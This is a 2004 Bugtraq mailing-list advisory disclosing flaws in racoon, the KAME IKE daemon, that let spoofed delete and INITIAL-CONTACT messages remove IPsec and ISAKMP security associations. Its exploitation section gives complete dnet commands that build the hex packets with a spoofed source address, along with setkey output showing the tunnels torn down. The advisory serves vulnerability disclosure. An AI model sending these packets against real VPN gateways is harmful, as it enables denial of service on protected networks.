unauthorized deletion of IPsec (and ISAKMP) SAs in racoon

From: Thomas Walpuski (thomas_at_thinknerd.org)
Date: 01/13/04

  • Next message: Federico Petronio: "Snort-inline"
    Date: Tue, 13 Jan 2004 22:39:40 +0100
    To: bugtraq@securityfocus.com
    
    

    0 Preface

      Now that most bugs in isakmpd that allowed for unauthorized SA
      deletion are "fixed", it's time to release some information on racoon.

      By the way: About 5 months ago I tried to contact the KAME developers.

    1 Description

      racoon, KAME's IKE daemon, contains some flaws, that allow for
      unauthorized deletion of IPsec (and ISAKMP) SAs.

    2 Description

      2.1 racoon's "authentication" of delete messages

        When racoon receives a delete message containing the initiator
        cookie of a main/aggressive/base mode, that has not yet setup a
        ISAKMP SA, it fulfills the request, if the message also includes a
        (dummy) hash payload and originates from the right IP address. See
        isakmp_main() in isakmp.c and purge_isakmp_spi(), purge_ipsec_spi(),
        isakmp_info_recv() and isakmp_info_recv_d() in isakmp_inf.c for
        details and amusement.
        
      2.2 INITIAL-CONTACT with racoon
      
        It is nearly the same with INITIAL-CONTACT notifications, but there
        is no need of a (dummy) hash payload and it's way more effective,
        because it deletes all IPsec SAs "relatived to the destination
        address". See isakmp_info_recv_n() and info_recv_initialcontact() in
        isakmp_inf.c for additional information.

    3 Affected Systems

      All versions of racoon are affected.

    4 Leveraging the Issues ..

      Take a look at http://securityfocus.com/archive/1/348637 for the
      assumed scenario.

      4.1 .. using delete messages

        An IPsec tunnel between vpn-gw-a and vpn-gw-a is established:

          vpn-gw-a# setkey -D
          <vpn-gw-a's IP address> <vpn-gw-b's IP address>
                  esp mode=tunnel spi=4127562105(0xf6059979) reqid=0(0x00000000)
                  [..]
          <vpn-gw-b's IP address> <vpn-gw-a's IP address>
                  esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
                  [..]

        The attacker launches step 1 of his attack. He pretends to initiate a
        phase 1 exchange (with spoofed source IP address, of course):

          attacker# dnet hex \
    > "\x17\x17\x17\x17" \
    > "\x17\x17\x17\x17" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x00" \
    > "\x01\x10\x02\x00" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x48" \
    > "\x00\x00\x00\x2c" \
    > "\x00\x00\x00\x01" \
    > "\x00\x00\x00\x01" \
    > "\x00\x00\x00\x20" \
    > "\x01\x01\x00\x01" \
    > "\x00\x00\x00\x18" \
    > "\x00\x01\x00\x00" \
    > "\x80\x01\x00\x05" \
    > "\x80\x02\x00\x02" \
    > "\x80\x03\x00\x01" \
    > "\x80\x04\x00\x02" |
          pipe> dnet udp sport 500 dport 500 |
          pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
          pipe pipe pipe> dnet send

        If racoon finds the included proposal acceptable it creates a state.
        Now the attacker carries out step 2:

          attacker# dnet hex \
    > "\x17\x17\x17\x17" \
    > "\x17\x17\x17\x17" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x00" \
    > "\x08\x10\x05\x00" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x30" \
    > "\x0c\x00\x00\x04" \
    > "\x00\x00\x00\x10" \
    > "\x00\x00\x00\x01" \
    > "\x03\x04\x00\x01" \
    > "\xf6\x05\x99\x79" |
          pipe> dnet udp sport 500 dport 500 |
          pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
          pipe pipe pipe> dnet send

        It seems that racoon knows the attacker ;-):

          vpn-gw-a# setkey -D
          <vpn-gw-b's IP address> <vpn-gw-a's IP address>
                  esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
                  [..]

        Note: You can also delete ISAKMP SAs.
        
      4.2 .. using INITIAL-CONTACT

        The IPsec tunnel is up an running:

          vpn-gw-a# setkey -D
          <vpn-gw-a's IP address> <vpn-gw-b's IP address>
                  esp mode=tunnel spi=785352974(0x2ecf890e) reqid=0(0x00000000)
                  [..]
          <vpn-gw-b's IP address> <vpn-gw-a's IP address>
                  esp mode=tunnel spi=183367627(0x0aedf7cb) reqid=0(0x00000000)
                  [..]

        Again the attacker does step 1 and injects an ISAKMP message like
        this:

          attacker# dnet hex \
    > "\x17\x17\x17\x17" \
    > "\x17\x17\x17\x17" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x00" \
    > "\x0b\x10\x05\x00" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x28" \
    > "\x00\x00\x00\x0c" \
    > "\x00\x00\x00\x01" \
    > "\x01\x00\x60\x02" |
          pipe> dnet udp sport 500 dport 500 |
          pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
          pipe pipe pipe> dnet send

        racoon blindly obeys the attacker's command:

          vpn-gw-a# setkey -D
          No SAD entries.

    5. Bug fixes

      There are no bug fixes.

    Thomas Walpuski


  • Next message: Federico Petronio: "Snort-inline"

    Relevant Pages